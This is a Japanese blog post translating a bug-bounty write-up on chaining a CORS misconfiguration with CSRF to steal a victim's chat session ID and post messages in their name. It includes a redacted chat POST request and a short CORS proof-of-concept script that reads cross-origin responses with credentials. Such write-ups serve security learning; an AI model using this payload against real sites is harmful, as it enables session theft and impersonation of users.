Shikata Ga Nai

Private? There is no such things.

Stealing Chat session ID with CORS and execute CSRF attackを訳してみた

Hello there, ('ω')ノ

 

CORSでチャットセッションIDを盗み、CSRF攻撃を実行するを。

 

脆弱性:

 CSRF

 CORSの設定ミス

 

記事:

 https://infosecwriteups.com/stealing-chat-session-id-with-cors-and-execute-csrf-attack-f9f7ea229db1

 

今回は、CORSとCSRF攻撃を連鎖させて。

被害者ユーザのチャットセッションIDを盗み。

被害者に代わってメッセージを送信する方法について説明を。

 

<redacted>ドメインを探索することに。

ターゲットドメインにチャット機能が組み込まれていることがわかったので。

新しいメッセージを送信するために。

システムは次のようなPOSTリクエストを送信して。

 

POST /ha/chat/<Chat_Session_ID> HTTP/1.1
Host: <redacted>
User-Agent: XXXXX
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Host-Site: XXX
Content-Length: 75
Origin: XXXXX
Connection: close
Referer: XXXXXXX

{“content”:”HI”,”event”:”MESSAGE”,”clientSideSequence”:4,”role”:”CUSTOMER”}

 

このPOSTリクエストはCSRF攻撃に対して脆弱であることがわかって。

攻撃者は、被害者のユーザに代わってメッセージを送信できて。

注意深く観察すると、エンドポイントには被害者のChat_Session_IDの。

/ha/chat/<Chat_Session_ID>が含まれ。

その形式は、XXXXXX-CHAT_XXXXXXXXXX–XXXX-XXXX-XXXX-XXXXXXXXXXXXで。

必要なのは、被害者ユーザのChat_Session_IDを盗む方法を見つけることだけで。

調査を続け、被害者ユーザのChat_Session_IDを作成するのに役立つ。

エンドポイントに出くわして。

 **https:///ha/chat/create**

 

そしてこれに加えて、エンドポイントにはCORSとCSRFの保護がないので。

すぐにCORSPOCコードを作成し。

このエンドポイントがCORSに対して脆弱であることを確認して。

 

f:id:ThisIsOne:20220417191655p:plain

 

CORS POCコード例:[それに応じて値を変更]

<html>
<script>
var req = new XMLHttpRequest(); req.onload = reqListener; req.open(‘GET/POST’,’<Vulnerable URL>’,true); req.withCredentials = true;
req.send(‘{}’); function reqListener() { alert(this.responseText); };
</script>
</html>

 

結論:

影響を与えるために、攻撃者は最初に被害者ユーザのチャットセッションIDを盗み。

次にCSRF攻撃を実行して被害者ユーザとしてメッセージを送信して。

 

Best regards, (^^ゞ